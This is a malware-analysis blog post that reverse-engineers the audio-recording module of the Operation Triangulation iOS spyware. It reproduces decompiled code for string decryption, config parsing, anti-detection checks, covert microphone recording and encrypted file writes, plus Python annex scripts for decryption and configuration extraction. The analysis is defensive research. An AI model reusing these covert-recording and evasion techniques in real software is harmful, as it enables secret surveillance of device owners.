This blog post is the continuation of our series on Operation Triangulation. The first blog post can be found here : https://shindan.io/posts/keychain_module_analysis/
In this blogpost we will focus on the audio module :
ff2f223542bbc243c1e7c6807e4c80ddad45005bcd78a77f8ec91de29deb2f6e
This module is in charge of recording the device microphone. It implements some tricks to hide itself which will be explained in this blog post. This module does not contain any symbols and uses some sort of obfuscation.
Decrypting strings #
The first thing we see is that a function located at 0x10000C168
is called several times.
The second parameter seems to contain a sequence of bytes. The first parameter seems to be a destination pointer.
Analyzing the function confirms that it’s a string decryption routine. A script has been written to decrypt them. This script can be found in the Annexes.
char *__fastcall decrypt_string(char *result, char *src)
{
int i; // w8
int v3; // w9
unsigned int v4; // w9
int v5; // w9
unsigned __int8 v6; // w11
i = 0;
v3 = (unsigned __int8)*src | ((unsigned __int8)*src << 8);
do
{
v4 = 9 * ((1025 * v3) ^ ((unsigned int)(1025 * v3) >> 6));
v5 = 32769 * (v4 ^ (v4 >> 11));
v6 = src[i + 1] ^ v5;
result[i++] = v6;
v3 = v5 ^ v6;
}
while ( v6 );
return result;
}
Retrieving the configuration #
The module uses a predefined configuration stored in its .data
segment.
When analysing the main
function, we saw a call to function 0x10000bc24
. This function is used to retrieve the value from a parameter name. Analyzing this function allowed us to understand how the configuration is stored.
Module configuration object #
Configuration parameters are stored in the data
segment.
They are stored in the form of this struct :
struct param_obj
{
int64_t encoded_name_len;
int64_t offset_to_name;
int64_t encoded_value_len;
int64_t offset_to_value;
int64_t offset_to_next_obj;
char encoded_name[encoded_buffer_len];
char encoded_value[param_len];
};
We can observe that in memory :
We noticed that the offsets are stored “obfuscated”. To retrieve their correct value, the module is using the function 0x10000c2d0
. This function is reversing the bytes order, e.g : 0x5030000000000000
will became 0x3050
.
uint64_t rev_bytes(int64_t arg1)
{
uint64_t x0_1 = (((uint64_t)(((((((int32_t)(arg1 >> 8)) & 0xff000000) & 0xffffff00) | ((int32_t)((arg1 & 0xff00000000000000) >> 0x38))) | (((int32_t)(arg1 >> 0x18)) & 0xff0000)) | (((int32_t)(arg1 >> 0x28)) & 0xff00))) | (((uint64_t)_byteswap(arg1)) << 0x20));
return x0_1;
}
The parameter name and value are also stored “obfuscated”. A classical xor obfuscation is done on them. The function in charge of doing this will be introduced later.
Get configuration value flow #
The 0x10000bc24
function takes in the last argument the name of the parameter, e.g. : syslogRelayOverride
int64_t retrieve_config_param(int64_t flag, char* param_out, uint64_t* param_out_size, char* param_name)
To retrieve a parameter value, the function is doing the following action :
- (1) Retrieves
encoded_name_len
. - Compares it with the length of the input parameter name string.
- if it does not match :
- Retrieves
offset_to_next_obj
and go to the next object. A new iteration is done (go to (1)).
- Retrieves
- if it matches :
- Retrieves
offset_to_name
and calls the function0x10000c1ac
to decode theencoded_name
. - Verifies if the decoded parameter name correspond to the input name.
- if it does not correspond : Output pointer is set to
null
, and a new iteration is done with the next object (go to (1)). - If it correspond :
- Retrieves the encoded value length.
- Allocates memory using
malloc
. - Uses the function
0x10000c1ac
to decode the parameter value into the previously allocated memory. - Set
param_out
andparam_out_size
value and returns.
- Retrieves
int64_t retrieve_config_param(int64_t flag, char* param_out, uint64_t* param_out_size, char* param_name)
{
...
void* head_maybe = sub_10000b590(&data_1000280b4);
// 0x1000280bc
uint64_t size_maybe = rev_bytes(*(uint64_t*)((char*)head_maybe + 0x10));
...
x26_1 = 0;
bool z_1;
do
{
struct struct_1* head_plus_offset = (size_maybe + head_maybe);
strLen_from_struct = rev_bytes(head_plus_offset->encoded_buffer_len);
len_strInput = _strlen(param_name);
output = nullptr;
if ((len_strInput != 0 && len_strInput == (strLen_from_struct - 1)))
{
uint64_t offset_to_buffer = rev_bytes(head_plus_offset->offset_to_buffer);
...
void decoded_string;
decode_string_(&decoded_string, (offset_to_buffer + head_maybe), (strLen_from_struct - 1));
if (memcmp(&decoded_string, param_name, (strLen_from_struct - 1)) != 0)
...
else
{
uint64_t x24_3 = (rev_bytes(head_plus_offset->param_len) - 1);
// alloc a struct and put the size in first four bytes
char* output_1 = alloc_size_plus_4(x24_3);
output = output_1;
if (output_1 == 0)
...
decode_string_(output, (rev_bytes(head_plus_offset->offset_to_param) + head_maybe), x24_3);
*(uint64_t*)param_out_size = x24_3;
x26_1 = 1;
}
}
size_maybe = rev_bytes(head_plus_offset->next_obj);
...
} while (z_1);
...
Parameter decoding function #
The function used to decode parameters is located at 0x10000c1ac
. Nothing really interesting in this function.
void decode_string_(char* output, char* bufffer_encoded, int32_t len)
{
if (len != 0)
{
char byte = *(uint8_t*)bufffer_encoded;
int32_t shifted_byte = ((0xffff00ff & byte) | (((uint32_t)byte) << 8));
uint64_t len2 = ((uint64_t)len);
void* next_byte = &bufffer_encoded[1];
char* output_1 = output;
uint64_t i;
do
{
int32_t x11_1 = (shifted_byte * 0x401);
int32_t x11_3 = ((x11_1 ^ (x11_1 >> 6)) * 9);
int32_t x11_5 = ((x11_3 ^ (x11_3 >> 0xb)) * 0x8001);
char x12_1 = *(uint8_t*)next_byte; // 0x3d
next_byte = ((char*)next_byte + 1);
char x12_2 = (x12_1 ^ x11_5);
*(uint8_t*)output_1 = x12_2;
output_1 = &output_1[1];
shifted_byte = (x11_5 ^ ((uint32_t)x12_2));
i = len2;
len2 = (len2 - 1);
} while (i != 1);
}
}
Module configuration extraction #
To extract the full configuration of the module, we have used Unicorn Engine to emulate the decoding function. Here you can find the extracted module configuration :
recordingDuration -> 10800
recordingQuality -> 6
fileSizeLimit -> 640000
minFreeDisk -> 500000000
suspendOnDeviceInUse -> Y
outputFilePath -> /private/var/tmp/
filePrefix -> sr6d
fileSuffix -> .srm
encryptionKey -> 05b709adb479d528ceccc0569340a845f8efc5e5245b3ada5e43d78238757977
selfDelete -> N
syslogRelayOverride -> N
This script used can be found in Annexes.
Module security checks #
Before diving into the main module’s logic, let’s explain the various checks that the module does in attempt to detect if the device is plugged / used. These checks are done by the module with the aim of hiding itself from detection.
Checking if syslog_relay
is running
#
The function 0x100009350
is trying to detect if the process syslog_relay
is running.
In old iOS version (< 10.3), this process is running when the device log are being read (thus the device being plugged).
To detect if syslog_relay
is running, the function is using sysctl
with CTL_KERN
and KERN_PROC
names to retrieve the running processes. Then it uses strcmp
to verify if a process named syslog_relay
is running (using kinfo_proc.kp_proc->p_comm
) and returns 1
if it runs, and 0
if not.
_int64 check_proc_syslog_relay_exists()
{
...
*(_OWORD *)name = xmmword_100021830;
v7 = 0LL;
sysctl(name, 4u, 0LL, &v7, 0LL, 0LL);
v0 = (kinfo_proc *)calloc((unsigned int)v7);
...
sysctl(name, 4u, v0, &v7, 0LL, 0LL);
...
else
{
...
p_comm = v1->kp_proc.p_comm;
while ( 1 )
{
v4 = decrypt_string(result, "syslog_relay\x00m");
if ( !strncmp(p_comm, v4, 0xCuLL) )
break;
p_comm += 648;
...
}
v5 = 1LL;
}
free_maybe(v1);
return v5;
}
Calling host_info
#
The module is calling host_info
and returns 1
if the call has been successful.
If the call fails, the module will not start the recording. Not sure why this check is done.
bool host_infos_basic_info()
{
host_t v0; // w19
_BOOL8 v1; // x20
mach_msg_type_number_t host_info_outCnt; // [xsp+Ch] [xbp-44h] BYREF
integer_t host_info_out[12]; // [xsp+10h] [xbp-40h] BYREF
host_info_outCnt = 12;
v0 = mach_host_self();
v1 = host_info(v0, 1, host_info_out, &host_info_outCnt) == 0;
mach_port_deallocate(mach_task_self_, v0);
return v1;
}
Check system version #
The function 0x100007268
retrieves the iOS version.
The function calls [UIDevice currentDevice].systemVersion ;
to retrieve the system version. From this, the function splits the version string in an array of strings. Then it calls strtol
to convert the major version number into a integer, and returns it.
__int64 sub_100007268()
{
NSAutoreleasePool *v0; // x19
char *__str; // [xsp+0h] [xbp-40h] BYREF
char __dst[12]; // [xsp+1Ch] [xbp-24h] BYREF
v0 = objc_alloc_init(&OBJC_CLASS___NSAutoreleasePool);
strncpy(
__dst,
-[NSString UTF8String](
-[UIDevice systemVersion](+[UIDevice currentDevice](&OBJC_CLASS___UIDevice, "currentDevice"), "systemVersion"),
"UTF8String"),
0xCuLL);
__dst[11] = 0;
-[NSAutoreleasePool drain](v0, "drain");
if ( (unsigned int)delete_char(__dst, 46LL, &__str, 3LL) && (unsigned int)(unsigned __int8)*__str - 49 <= 8 )
return strtol(__str, 0LL, 10);
else
return 0xFFFFFFFFLL;
}
Checks UIDevice BatteryState
#
The function 0x100007144
is checking the device batteryState
, using currentDevice
object.
Depending on the state, the function returns :
- 2 -> if battery is unplugged.
- 1 -> If battery is charging or if battery is full.
- 0 -> if battery state is unknown.
__int64 check_if_device_is_plugged()
{
UIDeviceBatteryState v0; // x21
-[UIDevice setBatteryMonitoringEnabled:](
+[UIDevice currentDevice](&OBJC_CLASS___UIDevice, "currentDevice"),
"setBatteryMonitoringEnabled:",
1LL);
v0 = -[UIDevice batteryState](+[UIDevice currentDevice](&OBJC_CLASS___UIDevice, "currentDevice"), "batteryState");
-[UIDevice setBatteryMonitoringEnabled:](
+[UIDevice currentDevice](&OBJC_CLASS___UIDevice, "currentDevice"),
"setBatteryMonitoringEnabled:",
0LL);
if ( v0 == UIDeviceBatteryStateUnplugged )
return 2LL;
else
return (v0 & 0xFFFFFFFFFFFFFFFELL) == 2;
}
And lastly let’s describe an important function that is called a lot during the recording.
Main checking function #
The function 0x100007BC0
is central, and used before and during the recording process.
This function is doing several checks :
First it checks if the opening of the file (where audio is wrote) has failed.
Then, it’s calling the two previously described functions to verify if the device is plugged.
After that, a new check is done to verify if the device is in use. The function will use the com.apple.springboard.hasBlankedScreen
notification to verify if the device is unlocked.
The value is retrieved using notify_register_check
and notify_get_state
functions. If the value is equal to 1
it means that the phone is locked (unused). If value is 0
, the device is in use.
After that, It’s verifying if the available space in the directory /privar/var
using fstats
is not superior to minFreeDisk
configuration parameter.
Afterwards, a last check is done. The value of the property kAudioSessionProperty_OtherAudioIsPlaying
is checked using the function AudioSessionGetProperty
. It’s possible that this check is done to verify if a music application is playing on the device.
The last thing to explain is the return value of this function. The return value consists of a code of four bytes :
eukn
: The file opening failed (error).slrn
: The device is plugged.devn
: The device is in use.idsn
: Available space is inferior tominFreeDisk
.bsyn
: No other audio is playing.begn
: Other audio is playing on the device.
__int64 __fastcall check_device_used_n_other_audio_playing(int suspendOnDeviceInUse)
{
...
if ( (did_opening_failed & 1) != 0 )
return 'eukn';
if ( should_syslogRelayOverride_maybe == 1
&& (unsigned int)check_proc_syslog_relay_exists() == 1
&& (unsigned int)check_if_device_is_plugged() != 2 )
{
return 'slrn'; // device is plugged or in use
}
if ( !suspendOnDeviceInUse
|| (v1 = 'devn',
state64[0] = 0LL,
v3 = decrypt_string(
(char *)&v12,
"com.apple.springboard.hasBlankedScreen\x00"),
!notify_register_check(v3, &out_token))
&& (notify_get_state(out_token, state64), notify_cancel(out_token), state64[0]) )
{
v4 = decrypt_string((char *)state64, "/private/var\x00");
v5 = statfs(v4, &v12);
available = v12.f_bavail * v12.f_bsize;
if ( v5 )
available = 0LL;
if ( available >= minFreeDisk )
{
v12.f_bsize = 0;
out_token = 4;
Property = fptr_AudioSessionGetProperty('othr', &out_token, &v12);
if ( v12.f_bsize + 1 > 1 && Property == 0 )
return 'bsyn';
else
return 'begn';
}
else
{
return 'idsn';
}
}
return v1;
}
Main module #
Now that the main checks have been explained, we can delve into the main module’s logic.
When started, the module will verify the system version. If the system version is inferior to 10
, the module will decide to never check for syslog_relay
, else it will depend on the configuration parameter syslogRelayOverride
.
A first check is done to verify if the device is not plugged, and if it is plugged, the module will exit.
if ( (int)check_version() < 10 )
{
v1 = 0;
should_syslogRelayOverride_maybe = -1;
}
else
{
should_syslogRelayOverride_maybe = 1;
ret_str = decrypt_string((char *)str_array, "syslogRelayOverride\x00\xF0cordingDuration\x00\x87");
retrieve_config_param(0LL, (char *)&__s, v26, ret_str);
if ( __s )
{
if ( strlen(__s) <= 3 && (*__s & 0xDF) == 'Y' )
should_syslogRelayOverride_maybe = -1;
free_maybe(__s);
__s = 0LL;
}
if ( should_syslogRelayOverride_maybe == 1
&& (unsigned int)check_proc_syslog_relay_exists() == 1
&& (unsigned int)check_if_device_is_plugged() != 2 )
{
runTimerLoop = 0xFFFFFFFFLL;
goto free_and_exit;
}
v1 = 1;
}
Then the module will setup it’s configuration parameter. It’s calling the function 0x100006480
which will iterate over every parameter and sets their values.
str_decrypted_array[0] = decrypt_string((char *)&str_array[5 * v1], "recordingDuration");
str_decrypted_array[1] = decrypt_string((char *)&str_array[5 * v1 + 5], "recordingQuality");
str_decrypted_array[2] = decrypt_string((char *)&str_array[5 * (v1 | 2)], "fileSizeLimit");
str_decrypted_array[3] = decrypt_string((char *)&str_array[5 * v1 + 15], "minFreeDisk");
str_decrypted_array[4] = decrypt_string((char *)&str_array[5 * (v1 | 4)], "suspendOnDeviceInUse");
str_decrypted_array[5] = decrypt_string((char *)&str_array[5 * v1 + 25], "outputFilePath");
str_decrypted_array[6] = decrypt_string((char *)&str_array[5 * (v1 | 6)], "filePrefix");
str_decrypted_array[7] = decrypt_string((char *)&str_array[5 * ((v1 + 7) % 0xA)], "fileSuffix");
str_decrypted_array[8] = decrypt_string((char *)&str_array[5 * ((v1 | 8) % 0xA)], "encryptionKey");
str_decrypted_array[9] = decrypt_string((char *)&str_array[5 * ((v1 + 9) % 0xA)], "selfDelete");
ret_by_config_init = retrieve_and_init_config(
10,
str_decrypted_array,
(char **)&recordingDuration,
&recordingQuality,
&fileSizeLimit,
&minFreeDisk,
&selfDelete,
&suspendOnDeviceInUse,
&outputFilePath,
(char **)&filePrefix,
&fileSuffix,
&encryptionKey);
After that, the module will verify the configuration parameter selfDelete
. If the parameter is set to Y
, the module will retrieve its executable path using _NSGetExecutablePath
and will call unlink
on it.
Another check is done after that, if the system version is equal to 8.0
and if the call to host_info
fails, the module will exit.
Now the module will start its initialisation by calling the function 0x100007438
. The main goal of this function is to create a file path (the file where the data will be written). The file path is stored in a global variable. With this module configuration, the file path is : /private/var/tmp/sr6dXXXXXX.srm
. This function is also dynamically resolving some functions by calling the function 0x10000948C
.
Dynamic resolving of AudioToolbox framework #
This function uses dlopen
and dlsym
to dynamically load several functions from the AudioToolbox
framework.
Here is the list of the functions:
AudioQueueAddPropertyListener
AudioQueueAllocateBuffer
AudioQueueDispose
AudioQueueEnqueueBuffer
AudioQueueGetProperty
AudioQueueNewInput
AudioQueuePause
AudioQueueStart
AudioQueueStop
AudioSessionGetProperty
AudioSessionInitialize
AudioSessionSetActive
AudioSessionSetProperty
These function pointers are stored into global variables. They are the function that will be used to record the audio.
Main loop #
The module’s main loop consists of :
- Verifying if it can start the recording safely (safety checks to see if device is being used).
- Initializing required components.
- Starting audio recording.
- Wait until recording duration time is elapsed.
- Start again.
This is mostly done in the function 0x1000075DC
. This function is in charge of creating the file where the data will be written, initializing the CCCryptor interface, managing the recording (using AudioQueue
), and initializing the encoder.
Let’s detail these different steps.
Initializing CCCryptor
interface
#
The function 0x100009E64
is in charge of initializing the CCCryptor
interface, used for the data encryption.
First, this function dynamically resolves CCCryptor
required functions :
v6 = decrypt_string(result, "/System/Library/Frameworks/Security.framework/Security");
v7 = dlopen(v6, 1);
securifyFramework_dlopened = (__int64)v7;
if ( !v7 )
return 0xFFFFFFFFLL;
v8 = v7;
v9 = decrypt_string(result, "CCCryptorCreate");
CCCryptorCreate = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))dlsym(v8, v9);
if ( !CCCryptorCreate )
return 0xFFFFFFFFLL;
v10 = (void *)securifyFramework_dlopened;
v11 = decrypt_string(result, "CCCryptorUpdate");
CCCryptorUpdate = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))dlsym(v10, v11);
if ( !CCCryptorUpdate )
return 0xFFFFFFFFLL;
v12 = (void *)securifyFramework_dlopened;
v13 = decrypt_string(result, "CCCryptorFinal");
CCCCryptorFinal = (__int64)dlsym(v12, v13);
if ( !CCCCryptorFinal )
return 0xFFFFFFFFLL;
v14 = (void *)securifyFramework_dlopened;
v15 = decrypt_string(result, "CCCryptorRelease");
CCCryptorRelease = (__int64)dlsym(v14, v15);
if ( !CCCryptorRelease )
return 0xFFFFFFFFLL;
v16 = (void *)securifyFramework_dlopened;
v17 = decrypt_string(result, asc_100021863);
CCCryptorReset = (__int64 (__fastcall *)(_QWORD, _QWORD))dlsym(v16, v17);
if ( !CCCryptorReset )
return 0xFFFFFFFFLL;
After that, the key used for encryption is created. It is created from the module configuration encryptionKey
. The string is transformed into bytes array using sscanf
.
for ( i = 0LL; i != 0x20; ++i )
{
v19 = decrypt_string(result, "%2hhx");
sscanf(encryptionKey, v19, (char *)&key + i);
encryptionKey += 2;
}
The same steps are done for the IV. The IV seems to be used without initialization (directly from the BSS
variable.) Maybe this variable is initialized by another module, not located in this binary.
Finally CCCryptorCreate
is called, with kCCEncrypt
operation, and with kCCAlgorithmAES128
(AES128) algorithm.
Initializing speex
encoder
#
The module seems to use Speex as an audio encoder to compress the recorded audio. The function 0x100006ABC
is in charge of this part. The configuration parameter recordindQuality
is used.
__int64 __fastcall speex_related(__int64 result)
{
recordingQuality = result;
if ( (_DWORD)result != 11 )
{
word_100028680 = 0;
speex_handler = speex_encoder_init(&speex_nb_mode);
speex_encoder_ctl(speex_handler, 4LL, &recordingQuality);
return speex_bits_init(&s_speexbits);
}
return result;
}
File creation and first writes #
The function 0x100008F08
is in charge of opening the file that will contain the recorded data.
In this module, the file path is /private/var/tmp/sr6dXXXXXX.srm
. This file path is used as a template for mkstemps
. After that, the file is opened using fdopen()
...
v12 = mkstemps(filepath, v11);
if ( (_DWORD)v12 != -1 )
{
v13 = fdopen_and_cryptorreset(v12, "w");
g_openedfd = v13;
if ( v13 )
{
*(_QWORD *)&xmmword_1000287A8 = 0LL;
g_total_written += g_written;
g_written = 0;
v0 = 0LL;
g_written = write_to_file(v13, &g_header_block, 'seql');
}
...
}
Finally, the first data block (header) will be written in the file.
Data blocks #
The module structures the written data using what we call “data block”. These data blocks consist of two types of structure :
The “header” block. Only written one time, when a new file is created.
struct s_header_block {
uint32_t code;
uint32_t counter;
uint8_t recordingQuality;
};
The “data” block. Written several time depending on the code used.
struct s_data_block {
uint32_t code;
time_t time;
uint32_t tm_gmtoff;
uint8_t tm_isdst;
}
The function used to write these blocks is the function 0x100006B2C
.
__int64 __fastcall write_to_file(FILE *fd, void *block, int code)
{
result = 0LL;
size = 0xF;
if ( fd && block )
{
if ( (unsigned __int8)code == 'n' )
{
time = ::time(0LL);
time_1 = time;
block->code = code;
if ( time )
{
block->time = time;
v8 = localtime(&time_1);
tm_gmtoff = v8->tm_gmtoff;
block->tm_isdst = v8->tm_isdst;
}
else
{
tm_gmtoff = 0;
block->time = 0;
}
block->tm_gmtoff = tm_gmtoff;
v10 = fwrite_encrypted(&size, 1LL, 4LL, fd);
v11 = (s_header_block *)block;
v12 = 15LL;
}
else
{
++block->time;
size = 11;
v10 = fwrite_encrypted(&size, 1LL, 4LL, fd);
v11 = block;
v12 = 0xBLL;
}
return fwrite_encrypted(v11, 1LL, v12, fd) + v10;
}
return result;
}
The function uses some sort of “code” consisting of four bytes. These codes are also used by the function that performs these safety checks.
For example, the first block written after the opening of the file, is a seql
code. We deduced that this corresponds to the header.
These blocks are written in the form “Length then Value”, and are written in the file after encryption.
Starting the recording #
If everything went well, the function 0x1000089B8
will start the recording.
Before starting everything, safety checks using the previous methods are done again to determine if the module should start the recording.
Depending on the result of the check, different actions will be made :
eukn
: An error happened. The function returns and a new iteration is done.slrn
: The device is plugged. Two messagesbegn
andendn
are written in the file. After that, the function returns and a new module iteration is started.devn
: The device is in use. A messagedevn
is written in the file, the module sleeps for 10 seconds, then returns and starts a new iteration.idsn
: Available space is inferior tominFreeDisk
. A data block with codeidsn
is written in the file. After that, a new iteration is started.begn
: Everything is ok to start the recording. We will detail this step below.
These message sand actions are also used in the AudioInputCallback
when the recording is running.
Recording audio using AudioQueue #
The function AudioQueueNewInput
is called to create a new Audio Queue object.
This Audio Queue will execute the callback located at 0x100008444
when the queue has finished filling its buffer. This is the function that is in charge of writing the “audio” data into the file.
After that, the module calls AudioQueueStart
to start the recording.
if ( (unsigned int)fptr_AudioQueueNewInput(
&g_audioQueueIn.aqft_prop,
audioInputCallback,
&g_audioQueueIn,
0LL,
0LL,
0LL,
&g_audioQueueIn) )
{
return 'eukn';
}
else
{
v7 = 40;
fptr_AudioQueueGetProperty(*(_QWORD *)g_audioQueueIn.inAq, 'aqft', &g_audioQueueIn.aqft_prop, &v7);// aqft == kAudioQueueProperty_StreamDescription
fptr_AudioQueueAddPropertyListener(*(_QWORD *)g_audioQueueIn.inAq, 'aqrn', nullsub_1, &g_audioQueueIn);// kAudioQueueProperty_IsRunning = 'aqrn'
v0 = allocate_and_queuebuffer();
if ( (_DWORD)v0 == 'begn' )
{
-[AVAudioSession setActive:error:](
+[AVAudioSession sharedInstance](&OBJC_CLASS___AVAudioSession, "sharedInstance"),
"setActive:error:",
1LL,
v8);
g_audioqueue_activated = 1;
fptr_AudioQueueStart(*(_QWORD *)g_audioQueueIn.inAq, 0LL);
return 'begn';
}
}
For a comprehensive understanding of how Apple’s Audio Queues operate, additional details can be accessed here: https://developer.apple.com/documentation/audiotoolbox/audio_queue_services?language=objc.
AudioInputCallback - Audio data write #
The AudiotInputCallback
registered during the call to AudioQueueNewInput
is the function : 0x100008444
. According to Apple, it is “Called by the system when a recording audio queue has finished filling an audio queue buffer”. This is an important function of the module, as it is the function in charge of writing the recorded data into the file.
This function calls the function 0x100006C2C
which is the one that writes recorded audio data into the file. This function is detailed below.
The callback also decides if a new file needs to be created (if the global bytes written counter exceeds the fileSizeLimit
). When this happens, the callback stops the recording using AudioQueuePause
and -[AVAudioSession setActive:error:]
, write a pwrn
message in the file, close the file, re-open a new file, writes a begn
message, and starts the recording again using AudioQueueStart
and -[AVAudioSession setActive:error:]
.
Finally, the callback uses the function 0x100007BC0
to perform safety checks, and depending on if the device is being used/plugged decides to stop the recording or not, and writes corresponding message in the file.
bool __fastcall audioInputCallback(
void *inUserData,
AudioQueueRef inAq,
AudioQueueBufferRef inBuffer,
const AudioTimeStamp *inStartTime,
const AudioStreamPacketDescription *inPacketDescs)
{
...
g_written += write_audio_to_file((FILE *)g_openedfd, (__int16 *)inBuffer->mAudioData, (unsigned int)inPacketDescs);
if ( g_written <= (unsigned int)g_fileSizeLimit )
{
flag_error = 0; // did not passe the file size limit
}
else
{
...
fptr_AudioQueuePause(*(_QWORD *)g_audioQueueIn.inAq);
-[AVAudioSession setActive:error:](
+[AVAudioSession sharedInstance](&OBJC_CLASS___AVAudioSession, "sharedInstance"),
"setActive:error:",
0LL,
v20);
g_audioqueue_activated = 0;
if ( (ret_by_config_init & 1) != 0 )
g_written += write_to_file((FILE *)g_openedfd, (s_data_blocks *)&g_data_block, 'pwrn');
close_fd();
++g_file_counter_maybe;
if ( (unsigned int)write_to_temp() == 'eukn' )
{
flag_error = 1;
}
else
{
if ( (ret_by_config_init & 1) != 0 )
g_written += write_to_file((FILE *)g_openedfd, (s_data_blocks *)&g_data_block, 'begn');
-[AVAudioSession setActive:error:](
+[AVAudioSession sharedInstance](&OBJC_CLASS___AVAudioSession, "sharedInstance"),
"setActive:error:",
1LL,
v20);
g_audioqueue_activated = 1;
fptr_AudioQueueStart(*(_QWORD *)g_audioQueueIn.inAq, 0LL);
...
v10 = check_device_used_n_other_audio_playing(g_suspendOnDeviceinuse);
...
}
Audio data writes #
The function 0x100006C2C
is the function in charge of writing the audio data. This function is called from the AudioInputCallback
.
Depending of the recordingQuality
configuration parameter, this function will either encrypt and write the data, or use speex
encoder to compress the audio before encrypting and writing.
In all cases, the data is stored in LV
(length, value) format.
__int64 __fastcall write_audio_to_file(FILE *fd, void *audioData, const AudioStreamPacketDescription *inPacketDescs)
{
...
if ( recordingQuality == 11 )
{
to_write = 2 * (_DWORD)inPacketDescs; // audio packet value
v7 = malloc((unsigned int)(2 * (_DWORD)inPacketDescs));
if ( v7 )
{
v8 = v7;
if ( v5 )
memcpy(v7, v4, 2LL * v5);
v9 = fwrite_encrypted(&to_write, 1LL, 4LL, fd);// write size
v3 = (unsigned int)fwrite_encrypted(v8, 1LL, to_write, fd) + v9;// write audioData
...
}
else
{ // audioquality, must encode
v10 = (unsigned int)inPacketDescs;
do
{
...
if ( v13 == 0xA0 )
{
speex_encode_int(speex_handler, word_100028540, &s_speexbits);
v14 = speex_bits_nbytes(&s_speexbits);
if ( (_DWORD)v14 )
{
v15 = v14;
v16 = malloc((unsigned int)v14);
if ( v16 )
{
v17 = v16;
LODWORD(size) = speex_bits_write(&s_speexbits, v16, v15);
v18 = fwrite_encrypted(&size, 1LL, 4LL, fd) + v3;
v3 = v18 + fwrite_encrypted(v17, 1LL, (unsigned int)size, fd);
free(v17);
}
}
speex_bits_reset(&s_speexbits);
}
v4 = (char *)v4 + 2;
--v10;
}
while ( v10 );
...
return v3;
}
Conclusion #
This module inner working is not complex, but uses several tricks that are important to understand. This module seems to contain old code (referencing iOS version 8.0, and syslog_relay
process), and seems to be able to run on several and older iOS versions.
The way that detection results are also stored in the file indicates that the attackers can follow and know when the device is being used, or plugged. These informations could help them to understand the habits of their targets.
There are other modules to analyse, and in the next blogpost, we will see how the location module is working.
Annexes #
String decryption script. #
#!/usr/bin/python
def decrypt_string(src):
dest = []
w8 = 0
w9 = src[0] | src[0] << 8
while True:
w9 = (w9 + (w9 << 10) & 0xFFFFFFFF)
w9 = (w9 ^ (w9 >> 6) & 0xFFFFFFFF)
w9 = (w9 + (w9 << 3) & 0xFFFFFFFF)
w9 = (w9 ^ (w9 >> 11) & 0xFFFFFFFF)
w9 = (w9 + (w9 << 15) & 0xFFFFFFFF)
w10 = w8 + 1
w11 = src[w10] & 0xFF
w11 = w11 ^ w9
dest.append(chr(w11 & 0xFF))
w8 = w10
w10 = w11 & 0xFF
w9 ^= w10
if w10 == 0:
break
return dest
# get function instance of target function
target_function = bv.get_function_at(0x000000010000C168)
# set of already decrypted bytes
already_decrypted = []
# 1: walk over all callers
for caller_function in set(target_function.callers):
# 2: walk over high-level IL instructions
for instruction in caller_function.hlil.instructions:
# 3: if IL instruction is a call
# and call goes to target function
if (instruction.operation == HighLevelILOperation.HLIL_CALL and
instruction.dest.constant == target_function.start):
p2 = instruction.params[1]
if p2.value.value not in done:
ret = decrypt_string(bv.read(p2.value.value, 0x400))
done.append(p2.value.value)
print("".join(ret))
Configuration extraction script #
from unicorn import *
from unicorn.arm64_const import *
from capstone import *
from hexdump import hexdump
from unicorn.arm64_const import *
from capstone import *
import struct
def emulate_rev_highest_byte(uc, x0):
uc.reg_write(UC_ARM64_REG_X0, x0)
try:
uc.emu_start(0x10000c2d0, 0x10000c2fc)
except UcError as e:
print(f"Error: {e}")
return uc.reg_read(UC_ARM64_REG_X0)
def emulate_decode_string(uc, output, inputstr, len):
uc.reg_write(UC_ARM64_REG_X0, output)
uc.reg_write(UC_ARM64_REG_X1, inputstr)
uc.reg_write(UC_ARM64_REG_X2, len)
try:
uc.emu_start(0x10000c1ac, 0x10000c1f4)
except UcError as e:
print(f"Error: {e}")
return uc.reg_read(UC_ARM64_REG_X0)
# Set up Unicorn engine
uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
# Load binary into memory
binary_path = "../ff2f223542bbc243c1e7c6807e4c80ddad45005bcd78a77f8ec91de29deb2f6e"
with open(binary_path, "rb") as f:
binary_data = f.read()
# Determine the address where you want to start emulation
start_address = 0x100000000
# Map the binary into memory
uc.mem_map(start_address, 8 * 1024 * 1024)
uc.mem_write(start_address, binary_data)
#stack
STACK_SIZE = 0x1000
STACK_ADDRESS = 0x20000000
uc.mem_map(STACK_ADDRESS, STACK_SIZE)
uc.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE)
# Hook the function
#uc.hook_add(UC_HOOK_CODE, h_debug)
#addr_head_obj = 0x1000280d4
addr_head = 0x1000280bc
addr_obj = 0x1000280d4
while (1):
size_buffer = emulate_rev_highest_byte(uc, struct.unpack("<Q", uc.mem_read(addr_obj, 0x8))[0])
#print(f"{size_buffer:#08x}")
offset_to_buffer = emulate_rev_highest_byte(uc, struct.unpack("<Q", uc.mem_read(addr_obj+0x8, 0x8))[0])
#print(f"{offset_to_buffer:#08x}")
addr_decoded_str = 0x1000
uc.mem_map(addr_decoded_str, 1024)
emulate_decode_string(uc, addr_decoded_str, addr_head + offset_to_buffer, size_buffer -1)
decoded_name_param = uc.mem_read(addr_decoded_str, size_buffer-1)
size_param = emulate_rev_highest_byte(uc, struct.unpack("<Q", uc.mem_read(addr_obj+0x10, 0x8))[0])
#print(f"{size_param:#08x}")
offset_to_param = emulate_rev_highest_byte(uc, struct.unpack("<Q", uc.mem_read(addr_obj+0x18, 0x8))[0])
#print(f"{offset_to_param:#08x}")
addr_decoded_param = 0x2000
uc.mem_map(addr_decoded_param, 1024)
emulate_decode_string(uc, addr_decoded_param, addr_head + offset_to_param, size_param -2)
decoded_value_param = uc.mem_read(addr_decoded_param, size_param-2)
offset_next_object = emulate_rev_highest_byte(uc, struct.unpack("<Q", uc.mem_read(addr_obj+0x20, 0x8))[0])
#print(f"{offset_next_object:#08x}")
addr_obj = addr_head + offset_next_object
uc.mem_unmap(addr_decoded_str, 1024)
uc.mem_unmap(addr_decoded_param, 1024)
print(f"{decoded_name_param.decode('utf-8')} -> {decoded_value_param.decode('utf-8')}")
if offset_next_object == 0:
break